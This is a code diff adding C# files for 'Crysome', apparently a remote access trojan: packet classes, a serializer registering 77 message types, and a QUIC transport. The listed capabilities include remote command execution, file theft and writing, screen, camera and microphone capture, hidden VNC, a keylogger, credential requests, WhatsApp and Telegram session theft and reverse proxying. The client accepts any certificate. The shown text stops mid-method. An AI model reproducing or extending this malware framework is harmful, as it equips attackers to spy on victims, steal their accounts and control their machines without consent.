@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartReverseProxyPacket : IPacket
|
||||
{
|
||||
public int ServerPort { get; set; }
|
||||
|
||||
public StartReverseProxyPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public StartReverseProxyPacket(int serverPort)
|
||||
{
|
||||
ServerPort = serverPort;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ServerPort);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ServerPort = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopAudioStreamPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopHvncPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopKeyloggerPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopProxyRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopRemoteDesktopPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class TakeScreenshotRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class TelegramSessionRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class WhatsAppSessionRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class WriteFileRequestPacket : IPacket
|
||||
{
|
||||
public string DestPath { get; set; }
|
||||
|
||||
public long TransferId { get; set; }
|
||||
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(DestPath ?? "");
|
||||
w.Write(TransferId);
|
||||
int num = ((Data != null) ? Data.Length : 0);
|
||||
w.Write(num);
|
||||
if (num > 0)
|
||||
{
|
||||
w.Write(Data);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
DestPath = r.ReadString();
|
||||
TransferId = r.ReadInt64();
|
||||
int num = r.ReadInt32();
|
||||
Data = ((num > 0) ? r.ReadBytes(num) : null);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets;
|
||||
|
||||
public class ChatMessagePacket : IPacket
|
||||
{
|
||||
public string Message { get; set; } = "";
|
||||
|
||||
public ChatMessagePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ChatMessagePacket(string message)
|
||||
{
|
||||
Message = message ?? "";
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Message ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Message = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets;
|
||||
|
||||
public interface IPacket
|
||||
{
|
||||
void Write(BinaryWriter w);
|
||||
|
||||
void Read(BinaryReader r);
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Crysome.Common.Network.FileTransfer;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Common.Network.Packets;
|
||||
|
||||
public static class PacketSerializer
|
||||
{
|
||||
private static readonly Dictionary<byte, Type> IdToType;
|
||||
|
||||
private static readonly Dictionary<Type, byte> TypeToId;
|
||||
|
||||
static PacketSerializer()
|
||||
{
|
||||
IdToType = new Dictionary<byte, Type>();
|
||||
TypeToId = new Dictionary<Type, byte>();
|
||||
Register(1, typeof(ClientInfoResponsePacket));
|
||||
Register(2, typeof(ClientInfoRequestPacket));
|
||||
Register(3, typeof(PingResponsePacket));
|
||||
Register(4, typeof(PingRequestPacket));
|
||||
Register(5, typeof(RunCommandResponsePacket));
|
||||
Register(6, typeof(RunCommandRequestPacket));
|
||||
Register(7, typeof(DirectLinkResponsePacket));
|
||||
Register(8, typeof(DirectLinkRequestPacket));
|
||||
Register(9, typeof(FileTransferResponsePacket));
|
||||
Register(10, typeof(FileTransferRequestPacket));
|
||||
Register(11, typeof(GetSystemInfoResponsePacket));
|
||||
Register(12, typeof(GetSystemInfoRequestPacket));
|
||||
Register(13, typeof(GetDrivesResponsePacket));
|
||||
Register(14, typeof(GetDrivesRequestPacket));
|
||||
Register(15, typeof(GetDirectoryResponsePacket));
|
||||
Register(16, typeof(GetDirectoryRequestPacket));
|
||||
Register(17, typeof(NotifyStatusResponsePacket));
|
||||
Register(18, typeof(DeleteFileRequestPacket));
|
||||
Register(19, typeof(DownloadFileRequestPacket));
|
||||
Register(20, typeof(RestartRequestPacket));
|
||||
Register(21, typeof(SendFileRequestPacket));
|
||||
Register(22, typeof(TakeScreenshotRequestPacket));
|
||||
Register(23, typeof(TakeScreenshotResponsePacket));
|
||||
Register(24, typeof(StartProxyRequestPacket));
|
||||
Register(25, typeof(StopProxyRequestPacket));
|
||||
Register(26, typeof(ProxyStatusResponsePacket));
|
||||
Register(27, typeof(GetProcessListRequestPacket));
|
||||
Register(28, typeof(GetProcessListResponsePacket));
|
||||
Register(29, typeof(KillProcessRequestPacket));
|
||||
Register(30, typeof(RequestAudioPacket));
|
||||
Register(31, typeof(AudioDataPacket));
|
||||
Register(32, typeof(RequestCameraFramePacket));
|
||||
Register(33, typeof(CameraFramePacket));
|
||||
Register(34, typeof(StartRemoteDesktopPacket));
|
||||
Register(35, typeof(StopRemoteDesktopPacket));
|
||||
Register(36, typeof(DesktopFramePacket));
|
||||
Register(37, typeof(RemoteInputPacket));
|
||||
Register(38, typeof(ReverseProxyStartPacket));
|
||||
Register(39, typeof(ReverseProxyDataPacket));
|
||||
Register(40, typeof(ReverseProxyEndPacket));
|
||||
Register(41, typeof(StartReverseProxyPacket));
|
||||
Register(42, typeof(RequestCredentialsPacket));
|
||||
Register(43, typeof(CredentialsResponsePacket));
|
||||
Register(44, typeof(StartHvncPacket));
|
||||
Register(45, typeof(StopHvncPacket));
|
||||
Register(46, typeof(HvncFramePacket));
|
||||
Register(47, typeof(HvncInputPacket));
|
||||
Register(48, typeof(HvncRunRequestPacket));
|
||||
Register(49, typeof(StartKeyloggerPacket));
|
||||
Register(50, typeof(StopKeyloggerPacket));
|
||||
Register(51, typeof(KeylogDataPacket));
|
||||
Register(52, typeof(ChatMessagePacket));
|
||||
Register(53, typeof(GetCameraDevicesPacket));
|
||||
Register(54, typeof(CameraDevicesResponsePacket));
|
||||
Register(55, typeof(GetAudioDevicesPacket));
|
||||
Register(56, typeof(AudioDevicesResponsePacket));
|
||||
Register(57, typeof(StartAudioStreamPacket));
|
||||
Register(58, typeof(StopAudioStreamPacket));
|
||||
Register(59, typeof(AudioStreamChunkPacket));
|
||||
Register(60, typeof(ReadFileRequestPacket));
|
||||
Register(61, typeof(ReadFileResponsePacket));
|
||||
Register(62, typeof(GetScreensRequestPacket));
|
||||
Register(63, typeof(ScreensResponsePacket));
|
||||
Register(64, typeof(RdpSetQualityPacket));
|
||||
Register(65, typeof(FtStartPacket));
|
||||
Register(66, typeof(FtChunkPacket));
|
||||
Register(67, typeof(FtSackPacket));
|
||||
Register(68, typeof(FtDonePacket));
|
||||
Register(69, typeof(FtAbortPacket));
|
||||
Register(70, typeof(WriteFileRequestPacket));
|
||||
Register(71, typeof(WriteFileResponsePacket));
|
||||
Register(72, typeof(ClientInventoryReportPacket));
|
||||
Register(73, typeof(WhatsAppSessionRequestPacket));
|
||||
Register(74, typeof(WhatsAppSessionResponsePacket));
|
||||
Register(75, typeof(OfflineKeylogDataPacket));
|
||||
Register(76, typeof(TelegramSessionRequestPacket));
|
||||
Register(77, typeof(TelegramSessionResponsePacket));
|
||||
}
|
||||
|
||||
private static void Register(byte id, Type type)
|
||||
{
|
||||
IdToType[id] = type;
|
||||
TypeToId[type] = id;
|
||||
}
|
||||
|
||||
public static byte[] Serialize(IPacket packet)
|
||||
{
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
using BinaryWriter binaryWriter = new BinaryWriter(memoryStream, Encoding.UTF8);
|
||||
if (!TypeToId.TryGetValue(packet.GetType(), out var value))
|
||||
{
|
||||
throw new InvalidOperationException("Unknown packet type: " + packet.GetType().Name);
|
||||
}
|
||||
binaryWriter.Write(value);
|
||||
packet.Write(binaryWriter);
|
||||
binaryWriter.Flush();
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
|
||||
public static IPacket Deserialize(byte[] data)
|
||||
{
|
||||
using MemoryStream input = new MemoryStream(data);
|
||||
using BinaryReader binaryReader = new BinaryReader(input, Encoding.UTF8);
|
||||
byte key = binaryReader.ReadByte();
|
||||
if (!IdToType.TryGetValue(key, out var value))
|
||||
{
|
||||
throw new InvalidOperationException("Unknown packet ID: " + key);
|
||||
}
|
||||
IPacket obj = (IPacket)Activator.CreateInstance(value);
|
||||
obj.Read(binaryReader);
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using System;
|
||||
using System.Net;
|
||||
|
||||
namespace Crysome.Common.Network.Transport;
|
||||
|
||||
public interface ITransportSession : IDisposable, IAsyncDisposable
|
||||
{
|
||||
bool IsAlive { get; }
|
||||
|
||||
IPEndPoint RemoteEndPoint { get; }
|
||||
|
||||
IPEndPoint LocalEndPoint { get; }
|
||||
|
||||
double RttMs { get; }
|
||||
|
||||
double LossRate { get; }
|
||||
|
||||
long BytesSent { get; }
|
||||
|
||||
long BytesRecv { get; }
|
||||
|
||||
event Action<byte[]> ReliableReceived;
|
||||
|
||||
event Action<byte, byte[]> UnreliableFrameReceived;
|
||||
|
||||
event Action<double> CongestionChanged;
|
||||
|
||||
event Action Disconnected;
|
||||
|
||||
void SendReliable(ReadOnlySpan<byte> payload);
|
||||
|
||||
void SendReliableBulk(ReadOnlySpan<byte> payload);
|
||||
|
||||
void SendUnreliableScreen(byte packetTypeId, ReadOnlySpan<byte> payload);
|
||||
|
||||
void SendPacketUnreliable(ReadOnlySpan<byte> payload);
|
||||
|
||||
void SendFin();
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
|
||||
namespace Crysome.Common.Network.Transport;
|
||||
|
||||
public static class QuicCertificateHelper
|
||||
{
|
||||
public static X509Certificate2 CreateServerCertificate()
|
||||
{
|
||||
using RSA key = RSA.Create(2048);
|
||||
using X509Certificate2 x509Certificate = new CertificateRequest(new X500DistinguishedName("CN=Crysome QUIC"), key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1)
|
||||
{
|
||||
CertificateExtensions =
|
||||
{
|
||||
(X509Extension)new X509BasicConstraintsExtension(certificateAuthority: false, hasPathLengthConstraint: false, 0, critical: false),
|
||||
(X509Extension)new X509KeyUsageExtension(X509KeyUsageFlags.KeyEncipherment | X509KeyUsageFlags.DigitalSignature, critical: false),
|
||||
(X509Extension)new X509EnhancedKeyUsageExtension(new OidCollection
|
||||
{
|
||||
new Oid("1.3.6.1.5.5.7.3.1")
|
||||
}, critical: false)
|
||||
}
|
||||
}.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.AddYears(10));
|
||||
return new X509Certificate2(x509Certificate.Export(X509ContentType.Pfx, (string?)null), (string?)null, X509KeyStorageFlags.Exportable | X509KeyStorageFlags.EphemeralKeySet);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,626 @@
|
||||
using System;
|
||||
using System.Buffers.Binary;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Quic;
|
||||
using System.Net.Security;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Threading;
|
||||
using System.Threading.Channels;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Crysome.Common.Network.Transport;
|
||||
|
||||
public sealed class QuicTransportSession : ITransportSession, IDisposable, IAsyncDisposable
|
||||
{
|
||||
private sealed class FragBuf
|
||||
{
|
||||
public byte[][] Frags;
|
||||
|
||||
public int RecvCount;
|
||||
|
||||
public bool IsComplete
|
||||
{
|
||||
get
|
||||
{
|
||||
if (Frags != null)
|
||||
{
|
||||
return RecvCount >= Frags.Length;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public const string Alpn = "crysome";
|
||||
|
||||
private readonly QuicConnection _conn;
|
||||
|
||||
private readonly bool _isServer;
|
||||
|
||||
private readonly QuicStream _control;
|
||||
|
||||
private readonly QuicStream _screenOut;
|
||||
|
||||
private readonly QuicStream _screenIn;
|
||||
|
||||
private readonly QuicStream _bulkOut;
|
||||
|
||||
private readonly QuicStream _bulkIn;
|
||||
|
||||
private readonly CancellationTokenSource _cts = new CancellationTokenSource();
|
||||
|
||||
private readonly object _controlWriteLock = new object();
|
||||
|
||||
private readonly object _bulkWriteLock = new object();
|
||||
|
||||
private readonly object _screenWriteLock = new object();
|
||||
|
||||
private readonly Channel<byte[]> _screenChannel;
|
||||
|
||||
private volatile bool _alive = true;
|
||||
|
||||
private long _bytesSent;
|
||||
|
||||
private long _bytesRecv;
|
||||
|
||||
private double _rttMs = 100.0;
|
||||
|
||||
private double _lossRate;
|
||||
|
||||
private DateTime _lastCongestionEmit = DateTime.UtcNow;
|
||||
|
||||
private readonly ConcurrentDictionary<uint, FragBuf> _screenFrags = new ConcurrentDictionary<uint, FragBuf>();
|
||||
|
||||
private uint _screenLastSeq;
|
||||
|
||||
private readonly object _screenSeqLock = new object();
|
||||
|
||||
private bool _disposed;
|
||||
|
||||
public IPEndPoint RemoteEndPoint => _conn?.RemoteEndPoint;
|
||||
|
||||
public IPEndPoint LocalEndPoint => _conn?.LocalEndPoint;
|
||||
|
||||
public bool IsAlive
|
||||
{
|
||||
get
|
||||
{
|
||||
if (_alive)
|
||||
{
|
||||
return !_disposed;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public double RttMs => _rttMs;
|
||||
|
||||
public double LossRate => _lossRate;
|
||||
|
||||
public long BytesSent => _bytesSent;
|
||||
|
||||
public long BytesRecv => _bytesRecv;
|
||||
|
||||
public event Action<byte[]> ReliableReceived;
|
||||
|
||||
public event Action<byte, byte[]> UnreliableFrameReceived;
|
||||
|
||||
public event Action<double> CongestionChanged;
|
||||
|
||||
public event Action Disconnected;
|
||||
|
||||
private QuicTransportSession(QuicConnection conn, bool isServer, QuicStream control, QuicStream screenOut, QuicStream screenIn, QuicStream bulkOut, QuicStream bulkIn)
|
||||
{
|
||||
_conn = conn;
|
||||
_isServer = isServer;
|
||||
_control = control;
|
||||
_screenOut = screenOut;
|
||||
_screenIn = screenIn;
|
||||
_bulkOut = bulkOut;
|
||||
_bulkIn = bulkIn;
|
||||
_screenChannel = Channel.CreateBounded<byte[]>(new BoundedChannelOptions(1)
|
||||
{
|
||||
FullMode = BoundedChannelFullMode.DropOldest,
|
||||
SingleReader = true,
|
||||
SingleWriter = false
|
||||
});
|
||||
}
|
||||
|
||||
public static async ValueTask<QuicTransportSession> ConnectClientAsync(EndPoint remote, CancellationToken ct)
|
||||
{
|
||||
if (!QuicConnection.IsSupported)
|
||||
{
|
||||
throw new InvalidOperationException("QUIC is not supported on this OS or runtime build.");
|
||||
}
|
||||
QuicConnection conn = await QuicConnection.ConnectAsync(new QuicClientConnectionOptions
|
||||
{
|
||||
RemoteEndPoint = remote,
|
||||
DefaultCloseErrorCode = 0L,
|
||||
DefaultStreamErrorCode = 0L,
|
||||
MaxInboundBidirectionalStreams = 256,
|
||||
MaxInboundUnidirectionalStreams = 256,
|
||||
ClientAuthenticationOptions = new SslClientAuthenticationOptions
|
||||
{
|
||||
ApplicationProtocols = new List<SslApplicationProtocol>
|
||||
{
|
||||
new SslApplicationProtocol("crysome")
|
||||
},
|
||||
RemoteCertificateValidationCallback = (object _, X509Certificate? _, X509Chain? _, SslPolicyErrors _) => true,
|
||||
TargetHost = "crysome"
|
||||
}
|
||||
}, ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
QuicTransportSession quicTransportSession = new QuicTransportSession(conn, isServer: false, await conn.OpenOutboundStreamAsync(QuicStreamType.Bidirectional, ct).ConfigureAwait(continueOnCapturedContext: false), await conn.OpenOutboundStreamAsync(QuicStreamType.Unidirectional, ct).ConfigureAwait(continueOnCapturedContext: false), null, null, await conn.AcceptInboundStreamAsync(ct).ConfigureAwait(continueOnCapturedContext: false));
|
||||
quicTransportSession.StartLoops();
|
||||
return quicTransportSession;
|
||||
}
|
||||
|
||||
public static async ValueTask<QuicTransportSession> AcceptServerAsync(QuicConnection conn, CancellationToken ct)
|
||||
{
|
||||
QuicTransportSession quicTransportSession = new QuicTransportSession(conn, isServer: true, await conn.AcceptInboundStreamAsync(ct).ConfigureAwait(continueOnCapturedContext: false), null, await conn.AcceptInboundStreamAsync(ct).ConfigureAwait(continueOnCapturedContext: false), await conn.OpenOutboundStreamAsync(QuicStreamType.Unidirectional, ct).ConfigureAwait(continueOnCapturedContext: false), null);
|
||||
quicTransportSession.StartLoops();
|
||||
return quicTransportSession;
|
||||
}
|
||||
|
||||
public static async ValueTask<QuicListener> StartListenerAsync(int port, X509Certificate2 certificate, CancellationToken ct)
|
||||
{
|
||||
if (!QuicListener.IsSupported)
|
||||
{
|
||||
throw new InvalidOperationException("QUIC listener is not supported on this OS or runtime build.");
|
||||
}
|
||||
return await QuicListener.ListenAsync(new QuicListenerOptions
|
||||
{
|
||||
ListenEndPoint = new IPEndPoint(IPAddress.Any, port),
|
||||
ListenBacklog = 512,
|
||||
ApplicationProtocols = new List<SslApplicationProtocol>
|
||||
{
|
||||
new SslApplicationProtocol("crysome")
|
||||
},
|
||||
ConnectionOptionsCallback = (QuicConnection connection, SslClientHelloInfo clientHello, CancellationToken token) => ValueTask.FromResult(new QuicServerConnectionOptions
|
||||
{
|
||||
DefaultStreamErrorCode = 0L,
|
||||
DefaultCloseErrorCode = 0L,
|
||||
MaxInboundBidirectionalStreams = 256,
|
||||
MaxInboundUnidirectionalStreams = 256,
|
||||
ServerAuthenticationOptions = new SslServerAuthenticationOptions
|
||||
{
|
||||
ApplicationProtocols = new List<SslApplicationProtocol>
|
||||
{
|
||||
new SslApplicationProtocol("crysome")
|
||||
},
|
||||
ServerCertificate = certificate
|
||||
}
|
||||
})
|
||||
}, ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
}
|
||||
|
||||
private void StartLoops()
|
||||
{
|
||||
CancellationToken ct = _cts.Token;
|
||||
Task.Run(() => ControlReadLoop(ct), ct);
|
||||
Task.Run(() => CongestionEmitLoop(ct), ct);
|
||||
if (_isServer && _screenIn != null)
|
||||
{
|
||||
Task.Run(() => ScreenReadLoop(ct), ct);
|
||||
}
|
||||
if (!_isServer && _bulkIn != null)
|
||||
{
|
||||
Task.Run(() => BulkReadLoop(ct), ct);
|
||||
}
|
||||
if (!_isServer && _screenOut != null)
|
||||
{
|
||||
Task.Run(() => ScreenWriterLoop(ct), ct);
|
||||
}
|
||||
}
|
||||
|
||||
private async Task CongestionEmitLoop(CancellationToken ct)
|
||||
{
|
||||
while (!ct.IsCancellationRequested && _alive)
|
||||
{
|
||||
try
|
||||
{
|
||||
await Task.Delay(2000, ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
EmitCongestion();
|
||||
}
|
||||
catch
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void EmitCongestion()
|
||||
{
|
||||
DateTime utcNow = DateTime.UtcNow;
|
||||
if ((utcNow - _lastCongestionEmit).TotalMilliseconds < 500.0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_lastCongestionEmit = utcNow;
|
||||
double num = Math.Min(1.0, _rttMs / 2000.0);
|
||||
double lossRate = _lossRate;
|
||||
double obj = Math.Min(1.0, num * 0.5 + lossRate * 0.5);
|
||||
try
|
||||
{
|
||||
this.CongestionChanged?.Invoke(obj);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void SendReliable(ReadOnlySpan<byte> payload)
|
||||
{
|
||||
if (_disposed || !_alive || _control == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
lock (_controlWriteLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
WriteFrameSync(_control, payload);
|
||||
Interlocked.Add(ref _bytesSent, 4 + payload.Length);
|
||||
}
|
||||
catch
|
||||
{
|
||||
TriggerDisconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void SendReliableBulk(ReadOnlySpan<byte> payload)
|
||||
{
|
||||
if (!_isServer || _bulkOut == null || _disposed || !_alive)
|
||||
{
|
||||
return;
|
||||
}
|
||||
lock (_bulkWriteLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
WriteFrameSync(_bulkOut, payload);
|
||||
Interlocked.Add(ref _bytesSent, 4 + payload.Length);
|
||||
}
|
||||
catch
|
||||
{
|
||||
TriggerDisconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void SendPacketUnreliable(ReadOnlySpan<byte> payload)
|
||||
{
|
||||
SendReliable(payload);
|
||||
}
|
||||
|
||||
public void SendUnreliableScreen(byte packetTypeId, ReadOnlySpan<byte> payload)
|
||||
{
|
||||
if (!_isServer && _screenOut != null)
|
||||
{
|
||||
uint frameSeq;
|
||||
lock (_screenSeqLock)
|
||||
{
|
||||
frameSeq = ++_screenLastSeq;
|
||||
}
|
||||
byte[] array = payload.ToArray();
|
||||
int num = Math.Max(1, (array.Length + 60000 - 1) / 60000);
|
||||
for (ushort num2 = 0; num2 < num; num2++)
|
||||
{
|
||||
int num3 = num2 * 60000;
|
||||
int payloadLength = Math.Min(60000, array.Length - num3);
|
||||
byte[] item = UdpTransport.BuildFragment(0u, packetTypeId, frameSeq, num2, (ushort)num, array, num3, payloadLength);
|
||||
_screenChannel.Writer.TryWrite(item);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private async Task ScreenWriterLoop(CancellationToken ct)
|
||||
{
|
||||
_ = 1;
|
||||
try
|
||||
{
|
||||
await foreach (byte[] item in _screenChannel.Reader.ReadAllAsync(ct).ConfigureAwait(continueOnCapturedContext: false))
|
||||
{
|
||||
if (_disposed || !_alive)
|
||||
{
|
||||
break;
|
||||
}
|
||||
lock (_screenWriteLock)
|
||||
{
|
||||
try
|
||||
{
|
||||
WriteFrameSync(_screenOut, item);
|
||||
Interlocked.Add(ref _bytesSent, 4 + item.Length);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void WriteFrameSync(QuicStream stream, ReadOnlySpan<byte> payload)
|
||||
{
|
||||
byte[] array = new byte[4];
|
||||
BinaryPrimitives.WriteInt32LittleEndian(array, payload.Length);
|
||||
stream.Write(array);
|
||||
stream.Write(payload);
|
||||
stream.Flush();
|
||||
}
|
||||
|
||||
private async Task ControlReadLoop(CancellationToken ct)
|
||||
{
|
||||
try
|
||||
{
|
||||
while (!ct.IsCancellationRequested && _alive)
|
||||
{
|
||||
byte[] array = await ReadFrameAsync(_control, ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
Interlocked.Add(ref _bytesRecv, 4 + array.Length);
|
||||
try
|
||||
{
|
||||
this.ReliableReceived?.Invoke(array);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
TriggerDisconnect();
|
||||
}
|
||||
}
|
||||
|
||||
private async Task ScreenReadLoop(CancellationToken ct)
|
||||
{
|
||||
try
|
||||
{
|
||||
while (!ct.IsCancellationRequested && _alive)
|
||||
{
|
||||
byte[] array = await ReadFrameAsync(_screenIn, ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
Interlocked.Add(ref _bytesRecv, 4 + array.Length);
|
||||
ProcessScreenDatagram(array);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
TriggerDisconnect();
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessScreenDatagram(byte[] dg)
|
||||
{
|
||||
if (!UdpTransport.ParseHeader(dg, dg.Length, out var _, out var packetTypeId, out var frameSeq, out var fragIdx, out var fragCount, out var payloadOffset, out var payloadLength))
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (fragCount <= 1)
|
||||
{
|
||||
byte[] array = new byte[payloadLength];
|
||||
if (payloadLength > 0)
|
||||
{
|
||||
Buffer.BlockCopy(dg, payloadOffset, array, 0, payloadLength);
|
||||
}
|
||||
try
|
||||
{
|
||||
this.UnreliableFrameReceived?.Invoke(packetTypeId, array);
|
||||
return;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
byte[] array2 = new byte[payloadLength];
|
||||
if (payloadLength > 0)
|
||||
{
|
||||
Buffer.BlockCopy(dg, payloadOffset, array2, 0, payloadLength);
|
||||
}
|
||||
FragBuf orAdd = _screenFrags.GetOrAdd(frameSeq, (uint _) => new FragBuf
|
||||
{
|
||||
Frags = new byte[fragCount][]
|
||||
});
|
||||
if (fragIdx >= orAdd.Frags.Length || orAdd.Frags[fragIdx] != null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
orAdd.Frags[fragIdx] = array2;
|
||||
Interlocked.Increment(ref orAdd.RecvCount);
|
||||
if (!orAdd.IsComplete)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_screenFrags.TryRemove(frameSeq, out var _);
|
||||
int num = 0;
|
||||
byte[][] frags = orAdd.Frags;
|
||||
foreach (byte[] array3 in frags)
|
||||
{
|
||||
if (array3 != null)
|
||||
{
|
||||
num += array3.Length;
|
||||
}
|
||||
}
|
||||
byte[] array4 = new byte[num];
|
||||
int num3 = 0;
|
||||
frags = orAdd.Frags;
|
||||
foreach (byte[] array5 in frags)
|
||||
{
|
||||
if (array5 != null)
|
||||
{
|
||||
Buffer.BlockCopy(array5, 0, array4, num3, array5.Length);
|
||||
num3 += array5.Length;
|
||||
}
|
||||
}
|
||||
try
|
||||
{
|
||||
this.UnreliableFrameReceived?.Invoke(packetTypeId, array4);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private async Task BulkReadLoop(CancellationToken ct)
|
||||
{
|
||||
try
|
||||
{
|
||||
while (!ct.IsCancellationRequested && _alive)
|
||||
{
|
||||
byte[] array = await ReadFrameAsync(_bulkIn, ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
Interlocked.Add(ref _bytesRecv, 4 + array.Length);
|
||||
try
|
||||
{
|
||||
this.ReliableReceived?.Invoke(array);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
TriggerDisconnect();
|
||||
}
|
||||
}
|
||||
|
||||
private static async Task<byte[]> ReadFrameAsync(QuicStream stream, CancellationToken ct)
|
||||
{
|
||||
byte[] lenBuf = new byte[4];
|
||||
await ReadExactAsync(stream, lenBuf, ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
int num = BinaryPrimitives.ReadInt32LittleEndian(lenBuf);
|
||||
if (num < 0 || num > 104857600)
|
||||
{
|
||||
